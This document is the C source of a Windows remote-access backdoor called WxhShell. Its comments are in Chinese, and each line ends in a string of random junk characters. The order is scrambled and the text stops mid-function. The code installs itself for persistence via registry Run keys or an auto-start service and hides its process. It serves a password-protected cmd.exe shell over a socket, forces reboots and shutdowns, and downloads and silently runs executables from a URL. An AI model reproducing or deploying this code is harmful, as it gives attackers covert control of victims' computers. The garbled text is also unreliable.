  case 'd': { kM!V .e[g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6 mO"  
    if(Boot(SHUTDOWN)) gLIT;BK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f jI#-  
    else { TFy7HX\Oq  
    closesocket(wsh); JDv-O&]  
    ExitThread(0); m_* R.a  
    } . uR M{Bs  
    break; =-~;OH /  
    } `tE^jqrke5  
  // 获取shell m&IsDAn  
  case 's': { [;KmT{I9  
    CmdShell(wsh); &[@\f^~  
    closesocket(wsh); ([ dT!B#aH  
    ExitThread(0); @Z;1 g  
    break; s&'BM~WI  
  } 7byCc_,  
  // 退出 "&lN\&:  
  case 'x': { hVP IHQt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }"zC >eX&  
    CloseIt(wsh); '<@=vGsye  
    break; 8g*hvPc  
    } 0 mexF@  
  // 离开 7>i2OBkAhB  
  case 'q': { {J]-<:XD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <L2emL_'  
    closesocket(wsh); 1f4 bt6[  
    WSACleanup(); 5PZN^\^  
    exit(1); Ct]A%=cZW  
    break; 0JY WrPR  
        } |dmh  
  } otr>3a*'  
  } 0 ^~\COa  
&~-~5B|3"  
  // 提示信息 5j^NV&/_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'v&}(  
} ]gEhE  
  } ;(6P6@+o  
f h<*8w0H  
  return; /_\W+^fE  
} N.j "S'(i  
J]pa4C`  
// shell模块句柄 cA;js;x@  
int CmdShell(SOCKET sock) ?m;;D'1j  
{ ^O6* e]C$  
STARTUPINFO si; :&VcB$  
ZeroMemory(&si,sizeof(si)); +F@_Es<6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YQ(Po!NI\'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $.K?N@(W  
PROCESS_INFORMATION ProcessInfo; \ijMw  
char cmdline[]="cmd"; .%xzT J=!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); . (`3JQ2s  
  return 0; 7#-y-B]l  
} ;-@=  
I mym+  
// 自身启动模式 F u _@!K  
int StartFromService(void) ;IZ?19Q  
{ Y2T$BJJ  
typedef struct ~OFvu}]  
{ 'BqZOZw  
  DWORD ExitStatus; 5EeDHsvV9  
  DWORD PebBaseAddress; "="O >  
  DWORD AffinityMask; ``QHG&$ /  
  DWORD BasePriority; GJQc!cqk  
  ULONG UniqueProcessId; BzbDZV  
  ULONG InheritedFromUniqueProcessId; eD;6okdP  
}   PROCESS_BASIC_INFORMATION; ^toAw8A=@0  
Ruaur]  
PROCNTQSIP NtQueryInformationProcess; 3y`F<&sA  
|V&G81sM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t#~?{i@m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pGWA\}'  
M}F~_S0h  
  HANDLE             hProcess; 7 'w0  
  PROCESS_BASIC_INFORMATION pbi; \0*l,i1&  
')#,X^   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2(#Ks's?  
  if(NULL == hInst ) return 0; 79 Bg]~}Z  
UTk r.T+2X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lrEj/"M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tIZ~^*'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -l*g~7|j  
<Gb %uny  
  if (!NtQueryInformationProcess) return 0; 'fW#7W  
\7 a4uc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tj/GClD:%  
  if(!hProcess) return 0; 4\2V9F{s  
^^?q$1k6r*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l?E|R Kp  
Zz"}Cz:bX  
  CloseHandle(hProcess); SBfFZw)  
&=q! Wdw~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h'5Cp(G  
if(hProcess==NULL) return 0; tS?lB05TOR  
'ZHdV,dd  
HMODULE hMod; < K %j  
char procName[255]; X"*^l_9-v  
unsigned long cbNeeded; H5xzD9K;/C  
4u1KF:g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }DIF%}UK\  
"QY1.:o<(  
  CloseHandle(hProcess); B;t=B_oK  
665[  
if(strstr(procName,"services")) return 1; // 以服务启动 ijYvqZ_  
FjKq%.=#  
  return 0; // 注册表启动 < oI8-f  
} b:MG@Hxc  
f(:1yl\a  
// 主模块 2@i;_3sv  
int StartWxhshell(LPSTR lpCmdLine) Pv){sYUh  
{ <y=ovkM3  
  SOCKET wsl; Zhi})d3l  
BOOL val=TRUE; 'gTmH[be  
  int port=0; .iv3q?8.b  
  struct sockaddr_in door; .9M.|  
AU{:;%.g  
  if(wscfg.ws_autoins) Install(); K0fv( !r{  
Fdt}..H%  
port=atoi(lpCmdLine); SkP[|g'56  
bBE+jqi 2  
if(port<=0) port=wscfg.ws_port; F!g;A"?V  
5P ke8K  
  WSADATA data; []}N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vjlGXT`m  
( $d4:Ww  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %e=!nRc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &3DK^|Lq  
  door.sin_family = AF_INET; d-$_|G+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u{C)qb5Pu  
  door.sin_port = htons(port); 1f//wk|  
%$9bce-fcG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2 P}bG>M  
closesocket(wsl); X"/~4\tJ"  
return 1; .6T4z7I  
} 8(lCi$  
z`#_F}v,m/  
  if(listen(wsl,2) == INVALID_SOCKET) { 9g@NcJ]  
closesocket(wsl); )f*Iomp]@  
return 1; x_:hii?6V  
} Q[_Ni15  
  Wxhshell(wsl); 2d&^Sp&11  
  WSACleanup(); kL;t8{n  
QJXdb]Y^;  
return 0; B,y3] g6u  
s[V `e2O  
} UrK"u{G  
[W(Y3yyY  
// 以NT服务方式启动 $u5.!{Wq?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *l!5QG UoK  
{ 8+(c1  
DWORD   status = 0; WZ* &@|w  
  DWORD   specificError = 0xfffffff; [%~NM/xu<  
q/'MS[C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }td6fj_{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k?-S`o%Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CWMlZ VG  
  serviceStatus.dwWin32ExitCode     = 0; vKkf2 7  
  serviceStatus.dwServiceSpecificExitCode = 0; SALCuo"L  
  serviceStatus.dwCheckPoint       = 0; hht+bpHl  
  serviceStatus.dwWaitHint       = 0; "m>};.lj  
n/-N;'2J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8b~7~VCk  
  if (hServiceStatusHandle==0) return; llqDT-cp  
FB!z#Eim  
status = GetLastError(); AeQC:  
  if (status!=NO_ERROR) P:a*t[+  
{ P^;WB*V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g TD%4V  
    serviceStatus.dwCheckPoint       = 0; my=~"bw4  
    serviceStatus.dwWaitHint       = 0; 6#-Z@fz%  
    serviceStatus.dwWin32ExitCode     = status; !Iko0#4i  
    serviceStatus.dwServiceSpecificExitCode = specificError; d#Wn[h$"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rr4 _8Rf  
    return; `#<eA*^g5  
  } )SD_}BY%k  
TP^\e_k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T-!|l7V~f  
  serviceStatus.dwCheckPoint       = 0; 3]7ipwF2q  
  serviceStatus.dwWaitHint       = 0; 5Wl,J _<F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  l58l  
} o"f%\N0_8  
jaNH](V  
// 处理NT服务事件,比如:启动、停止 X)Ocn`|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +@^47Xu^  
{ *IVD/9/  
switch(fdwControl) 0= gF6U  
{ -ca]Q|m8  
case SERVICE_CONTROL_STOP: ~.!?5(AH8z  
  serviceStatus.dwWin32ExitCode = 0; v@]6<e$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iiQ||P}5  
  serviceStatus.dwCheckPoint   = 0; 0sY#MHPT&  
  serviceStatus.dwWaitHint     = 0; _i#@t7  
  { HMFl/%z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L5TNsLx(  
  } B0NN>)h  
  return; Ho:}Bn g  
case SERVICE_CONTROL_PAUSE: 7Im}~3NJG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;   -kV|  
  break; aB7d(  
case SERVICE_CONTROL_CONTINUE: +}`p"<'u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )3+xsnv  
  break; U_.n=d~B  
case SERVICE_CONTROL_INTERROGATE: U3(L.8(sA  
  break; k-;.0!D^  
}; iRkOH]+K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wV]sGHuF}  
} |~Htj4K/  
]i9H_K  
// 标准应用程序主函数 Fwg#d[:u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xuw//F  
{ LS*{]@8q  
2M!+gk=+  
// 获取操作系统版本 xF2f/y   
OsIsNt=GetOsVer(); {[H4G,QK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j&o/X7I=  
6:8EZ' y  
  // 从命令行安装 F&>T-u-dog  
  if(strpbrk(lpCmdLine,"iI")) Install(); w}]3jc84  
!W(/Y9g#  
  // 下载执行文件 gs^UR6 D,  
if(wscfg.ws_downexe) { 3ZT/>a>@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) # khyy-B=  
  WinExec(wscfg.ws_filenam,SW_HIDE); )dUd`g  
} !nZI? z;  
1o"y%*"  
if(!OsIsNt) { A`+(VzZgJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 N6-2*ES  
HideProc(); s /k  
StartWxhshell(lpCmdLine); %-0em!tUV  
} &kmd<  
else oj,Vi-TZ  
  if(StartFromService()) +J}k_'4&  
  // 以服务方式启动 #b<lt'gC  
  StartServiceCtrlDispatcher(DispatchTable); >G w%r1)  
else W! 5Blo  
  // 普通方式启动 ~CjmYP'o  
  StartWxhshell(lpCmdLine); sf|_2sI  
\?p9qR;"4  
return 0; 7,&3=R <  
} tCF0Ah  
E Ni%ge'":  
H/ B^N,oi  
ZJ{+_ax0K  
=========================================== WZDokSR  
b(.o|d/P  
3n=O8Fp  
FSXKH{Z  
z!uB&2C{k  
r4z}yt+  
" BGk<NEzH  
 ]pucv!  
#include <stdio.h> _4x[}e7KF  
#include <string.h> B@~eBU,$  
#include <windows.h> S+bWD7  
#include <winsock2.h> _dRn0<#1(k  
#include <winsvc.h> 6nhfI\q3wY  
#include <urlmon.h> rym\5 `)  
O(WMTa'%  
#pragma comment (lib, "Ws2_32.lib") D%";!7u  
#pragma comment (lib, "urlmon.lib") @,f,tk=\S  
i}&mz~  
#define MAX_USER   100 // 最大客户端连接数 l{7Dv1[Ss  
#define BUF_SOCK   200 // sock buffer ~wd?-$;070  
#define KEY_BUFF   255 // 输入 buffer  p% YvP  
]|\>O5eeu  
#define REBOOT     0   // 重启 ?28G6T]/?d  
#define SHUTDOWN   1   // 关机 <@;xV_`X+  
nR|uAw  
#define DEF_PORT   5000 // 监听端口 MRY)m@*+6  
"Qm~;x2kB  
#define REG_LEN     16   // 注册表键长度 ,`B>}  
#define SVC_LEN     80   // NT服务名长度 aN);P>  
ThiPT|5u  
// 从dll定义API =dw*B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +^% &8<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -<HvhW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9!/1F !  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y0y;1N'KK  
SoON@h/  
// wxhshell配置信息 0:(dl@I)@  
struct WSCFG { U3R`mHr0  
  int ws_port;         // 监听端口 #__'U6`(  
  char ws_passstr[REG_LEN]; // 口令 |$*9j""u  
  int ws_autoins;       // 安装标记, 1=yes 0=no rgY?X$1q_  
  char ws_regname[REG_LEN]; // 注册表键名 ^Y*.Ktp,o  
  char ws_svcname[REG_LEN]; // 服务名 !z6/.>QJ~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v lnUN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RgzSaP;;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U JRT4>G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,% DAh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z&/ o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O%h 97^%k  
-tdON  
}; B(T4 nH_k  
9(gOk  
// default Wxhshell configuration x?& xz;  
struct WSCFG wscfg={DEF_PORT, ykl=KR  
    "xuhuanlingzhe", 9'L0Al~L  
    1, }[R@HmN   
    "Wxhshell", k |aOUW  
    "Wxhshell", gJfL$S'w  
            "WxhShell Service", c!FjHlAnP  
    "Wrsky Windows CmdShell Service", ;;J98G|1  
    "Please Input Your Password: ", JM4`k8mM  
  1, -Ce4px?3  
  "http://www.wrsky.com/wxhshell.exe", V<I${i$]0  
  "Wxhshell.exe" AS-t][m#  
    }; V \ 8 5  
SPm5tU  
// 消息定义模块 e<wj5:M|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _BA_lkN+D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [5d][1=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ">^]^wa08  
char *msg_ws_ext="\n\rExit."; PSw+E';  
char *msg_ws_end="\n\rQuit."; C3h!?5  
char *msg_ws_boot="\n\rReboot..."; @+vTGjHA  
char *msg_ws_poff="\n\rShutdown..."; I%WK*AORM  
char *msg_ws_down="\n\rSave to "; 'aWZ#GS*  
)Ea_:C'  
char *msg_ws_err="\n\rErr!"; 90v18k  
char *msg_ws_ok="\n\rOK!"; _NW OSt  
C)kQi2T  
char ExeFile[MAX_PATH]; tB?S0;yXjd  
int nUser = 0; -k{R<L  
HANDLE handles[MAX_USER]; *F&&rsb  
int OsIsNt; b:&$x (|  
.T X& X  
SERVICE_STATUS       serviceStatus; muq|^Hfb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [\F,\  
\+A<s,x  
// 函数声明 aRP+?}b">  
int Install(void); \Y 4Z Q"0Q  
int Uninstall(void); ]997`,1b  
int DownloadFile(char *sURL, SOCKET wsh); rq?x]`u   
int Boot(int flag); 8{<cqYCR  
void HideProc(void); ,99G2E v4c  
int GetOsVer(void); Ol0|)0  
int Wxhshell(SOCKET wsl); ]YzAcB.R  
void TalkWithClient(void *cs); 7y7y<`)I5  
int CmdShell(SOCKET sock); MF(~!SOIG  
int StartFromService(void); ;^i,Q} b/  
int StartWxhshell(LPSTR lpCmdLine); FI5C&d5d  
![tI(TPq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3NWAy Cq-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4BtdN-T}b  
hj1 jY  
// 数据结构和表定义 xU"qB24]=  
SERVICE_TABLE_ENTRY DispatchTable[] = AUV$ S2  
{ ge8zh/`  
{wscfg.ws_svcname, NTServiceMain}, ?O ?~|nI  
{NULL, NULL} t}gqk'  
}; 5al{[mi  
b2%[9) "I.  
// 自我安装 .D`#a  
int Install(void) 7A-rF U$  
{ 1hG O*cq!  
  char svExeFile[MAX_PATH]; }6N|+z.cU  
  HKEY key; #!Fs[A5%  
  strcpy(svExeFile,ExeFile); -9"Ls?Cu  
B)dynGF8i  
// 如果是win9x系统,修改注册表设为自启动 MzG.Qh'z  
if(!OsIsNt) { t79MBgZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mw. +0R!T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nj\WvKG  
  RegCloseKey(key); 0%/(p?]M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s#[Ej&2[=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b1 cd5  
  RegCloseKey(key); W=m_G]"L  
  return 0; iz(+(M  
    } '5--eYG  
  } Z}wAh|N-  
} B!v1 gh  
else { 0a'y\f:6*  
th)jEK;Z  
// 如果是NT以上系统,安装为系统服务 2<|5zF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !@X#{  
if (schSCManager!=0) /'(P{O>{j  
{ HPQ,tlp6j  
  SC_HANDLE schService = CreateService n6}1{\  
  ( ceCshxTU  
  schSCManager, 2srz) xEe  
  wscfg.ws_svcname, ;xc  
  wscfg.ws_svcdisp, v oxlo>:  
  SERVICE_ALL_ACCESS, L"a#Uu8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {TNAK%'v  
  SERVICE_AUTO_START, AVjtK  
  SERVICE_ERROR_NORMAL, ajAEGD2Zq  
  svExeFile, Nvi14,q/  
  NULL, e|LXH/H  
  NULL, Mx }(w\\T  
  NULL, &g`a [#  
  NULL, iR-O6*PTC  
  NULL {IVqV6:  
  ); gyK"#-/_d  
  if (schService!=0) i/L1KiCLx  
  { u@HP@>V  
  CloseServiceHandle(schService); w <ID<  
  CloseServiceHandle(schSCManager); UgP5^3F2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LHz{*`22q  
  strcat(svExeFile,wscfg.ws_svcname); K02./ut-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R&QT  'i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  ;P_Zen  
  RegCloseKey(key); ?>_.~b ~  
  return 0; wg_Z!(Hr#  
    } 'e)t+  
  } ?9mY #_Of  
  CloseServiceHandle(schSCManager); $I9zJ"*  
} Rl~Tw9  
} Qi%A/~  
 }oG&zw  
return 1; }Z6/b _kV  
} <3qbgn>}b  
TCEbz8ql  
// 自我卸载 }&j&T9oX  
int Uninstall(void) r?Vob}'Pt]  
{ "@n$(-.  
  HKEY key; uzo}?X#  
s{/nO)  
if(!OsIsNt) { Q3D xjD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P(4[<'H O  
  RegDeleteValue(key,wscfg.ws_regname); EW`3h9v~  
  RegCloseKey(key); j\a?n4g -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EPI*~=Z.U  
  RegDeleteValue(key,wscfg.ws_regname); &ke4":7X  
  RegCloseKey(key); Oe273Y^e  
  return 0; CUG6|qu  
  } `/U:u9H9v  
} | @YN\g K;  
} oGM.{\i  
else { @sDd:> t  
Q6BW ax|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @l?%]%v|  
if (schSCManager!=0) iqU}t2vFrj  
{ b{oNV-<&{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +)|2$$m  
  if (schService!=0) ,9rT|:N  
  { =4[zt^WX"  
  if(DeleteService(schService)!=0) { |Mh;k 6  
  CloseServiceHandle(schService); UYPBKf]A9  
  CloseServiceHandle(schSCManager); Cn"N5(i  
  return 0; H)p{T@  
  } x6,RW],FGR  
  CloseServiceHandle(schService); n0m9|T&  
  } l YhwV\3  
  CloseServiceHandle(schSCManager); &F:7U!  
} ]oY~8HW  
} NlDM/  
ijTtyTC  
return 1; aql*@8 )m  
} wOsr#t7  
`A'*x]l  
// 从指定url下载文件 4?&=H *H:  
int DownloadFile(char *sURL, SOCKET wsh) (=X16}n:>  
{ F ^\v`l,  
  HRESULT hr; ?G{fF H  
char seps[]= "/"; ;?cUF78#  
char *token; }}]Y mf  
char *file; u Qj#U m8  
char myURL[MAX_PATH]; k >MgrtJI  
char myFILE[MAX_PATH]; ge` J>2  
Vs"Z9p$U  
strcpy(myURL,sURL); hImCy9i}  
  token=strtok(myURL,seps); QQw^c1@  
  while(token!=NULL) pif8/e  
  { 4$J/e?i  
    file=token; *qqFIp^  
  token=strtok(NULL,seps); ?ix,Cu@M  
  } (tz! "K  
NUU}8a(K  
GetCurrentDirectory(MAX_PATH,myFILE); /j^zHrLN  
strcat(myFILE, "\\"); L`!sV-.  
strcat(myFILE, file); |N g[^  
  send(wsh,myFILE,strlen(myFILE),0); u-W=~EO5#  
send(wsh,"...",3,0); HaSH0eTw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DXiD>1(q  
  if(hr==S_OK) &A9+%kOk>  
return 0; zEGwQp<  
else `bm-ONK  
return 1; {L0w& ~$Fy  
-lp_~)j^  
} :K~7BJ(HO  
wVvU]UT  
// 系统电源模块 *vb)d0}P  
int Boot(int flag) &zT~3 >2  
{ 0eLK9u3<  
  HANDLE hToken; Y}6)jzBV  
  TOKEN_PRIVILEGES tkp; -7`J(f.rYC  
:b=0_<G  
  if(OsIsNt) { C+k>Ajr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E% 'DIs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N3?d?+A$  
    tkp.PrivilegeCount = 1; . FruI#99  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0jmlsC>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @|@43}M]C-  
if(flag==REBOOT) { zk]~cG5dT/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d?K8Ygz  
  return 0; &-zI7@!  
} EAfSbK3z  
else { g:EU\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lD pi1]2  
  return 0; phdN9<Z  
} @^e@.)  
  } )\(pDn$W  
  else { " duJl-  
if(flag==REBOOT) { ^#o.WL%4/B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (}:xs,Ax  
  return 0; B]vj1m`9  
} SS`C0&I@p  
else { >O _  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B_S3}g<~  
  return 0; 8n)Q^z+ K  
} !S:@x.n@iR  
} *E]\l+]J  
yi OF&  
return 1; -AE/,@\P  
} El%(je,|  
a|NU)mgEI  
// win9x进程隐藏模块 z -D pLV  
void HideProc(void) epF>z   
{ 0 Yp;?p^  
2}b bdXx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  AMdS+(J  
  if ( hKernel != NULL ) J$;)TI  
  { 8'_Y=7b0Nw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p!ErH]lH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wu')Q/v  
    FreeLibrary(hKernel); 2. _cEY34  
  } [7V]=] p  
i1 &'Zh  
return; (XJQ$n  
} A3_9MO   
]_?y[@ZP  
// 获取操作系统版本 9x!y.gx  
int GetOsVer(void) 5b,98Q  
{ UZra'+Wb  
  OSVERSIONINFO winfo; #F@7>hd1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %a `dO EO  
  GetVersionEx(&winfo); bSLj-vp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Ho`*$dD  
  return 1; =HHg:"  
  else c29Z1Zs2)  
  return 0; &u-Bu;G.e  
} 5ov%(QI  
+bW|Q>u  
// 客户端句柄模块 =*jcO119L  
int Wxhshell(SOCKET wsl) 5b p"dIe  
{ ?W_U{=anl  
  SOCKET wsh; ?miM15XI  
  struct sockaddr_in client; _ GSw\r  
  DWORD myID; 03@| dN  
dL(|Y{4  
  while(nUser<MAX_USER) |U $-d^ZJ  
{ K8Zk{on  
  int nSize=sizeof(client); MFuI&u!g:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J B@VP{  
  if(wsh==INVALID_SOCKET) return 1; ?` i/  
VsEAo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )AXH^&  
if(handles[nUser]==0) 1o>R\g3  
  closesocket(wsh); uW=NH;u  
else (p=GR#  
  nUser++; P qLqF5`S  
  } VAGMI+ -  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yXg1N N  
J|S^K kC  
  return 0; C} _:K)5q  
} yuEOQ\!(u  
ZGhoV#T@  
// 关闭 socket pVS2dwBqE  
void CloseIt(SOCKET wsh) j9'XZq}  
{ 9X9zIh]JV  
closesocket(wsh); K"j=_%{  
nUser--; H^;S}<pxW  
ExitThread(0); @n* D>g  
} Z[u,1l.T  
;<@6f@  
// 客户端请求句柄 ?^ezEpW  
void TalkWithClient(void *cs) UMQW#$~C{g  
{ w*%$ lhp!  
+WN>9V0H  
  SOCKET wsh=(SOCKET)cs; `)M\(_  
  char pwd[SVC_LEN]; =v$s+`cP  
  char cmd[KEY_BUFF]; |!5T+H{Sj  
char chr[1]; N3p 7 0  
int i,j; ZHECcPhz  
xWz;5=7a]  
  while (nUser < MAX_USER) { %%cSvPcz  
MI'l4<>u  
if(wscfg.ws_passstr) { Tv,.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^@lg5d3F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >"g<-!p@  
  //ZeroMemory(pwd,KEY_BUFF); iz>y u[|  
      i=0; bSR+yr'?  
  while(i<SVC_LEN) { |z.GSI_!)  
I= h4s(  
  // 设置超时 s8Ry}{  
  fd_set FdRead; ZHD0u)ri=J  
  struct timeval TimeOut; %_R|@cyD  
  FD_ZERO(&FdRead); roj04|  
  FD_SET(wsh,&FdRead); Z F yX@#B9  
  TimeOut.tv_sec=8; k-cIb@+"  
  TimeOut.tv_usec=0; <Z:8~:@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jv^cOc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1;kG[z=A  
1;:t~Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) ~)SCN>-  
  pwd=chr[0]; v7<S F  
  if(chr[0]==0xd || chr[0]==0xa) { h3]@M$Y[  
  pwd=0; -8Jl4F ,  
  break; A6UdWK  
  } fJ&<iD)6  
  i++; k CW!m  
    } 7hF,gl5  
UK~B[=b9  
  // 如果是非法用户,关闭 socket g t^]32$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K[LVT]3 n  
} ZA_zKJ[[7  
#S53u?JV8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /x:(SR2,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jQxPOl$-  
()nKug`.@  
while(1) { zJuRth)(,  
aEEz4,x_  
  ZeroMemory(cmd,KEY_BUFF); `b.o&t$L  
>1a \ %G  
      // 自动支持客户端 telnet标准   #7~tL23}]  
  j=0; KI Plb3oh  
  while(j<KEY_BUFF) { "ji$@b_\?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (o*e<y,}W  
  cmd[j]=chr[0]; )+w/\~@  
  if(chr[0]==0xa || chr[0]==0xd) { @!":(@3[  
  cmd[j]=0; $d2kHT  
  break; l~fh_IV1  
  } uP(B<NfL:'  
  j++; ^x_ >r6  
    } e+F}9HR7  
~}$\B^z+  
  // 下载文件 ^.@yF;H  
  if(strstr(cmd,"http://")) { |.Nr.4Yp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A#Q0{z@H  
  if(DownloadFile(cmd,wsh)) tKG;k"wk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /63 W\  
  else pcRF: ~TE  
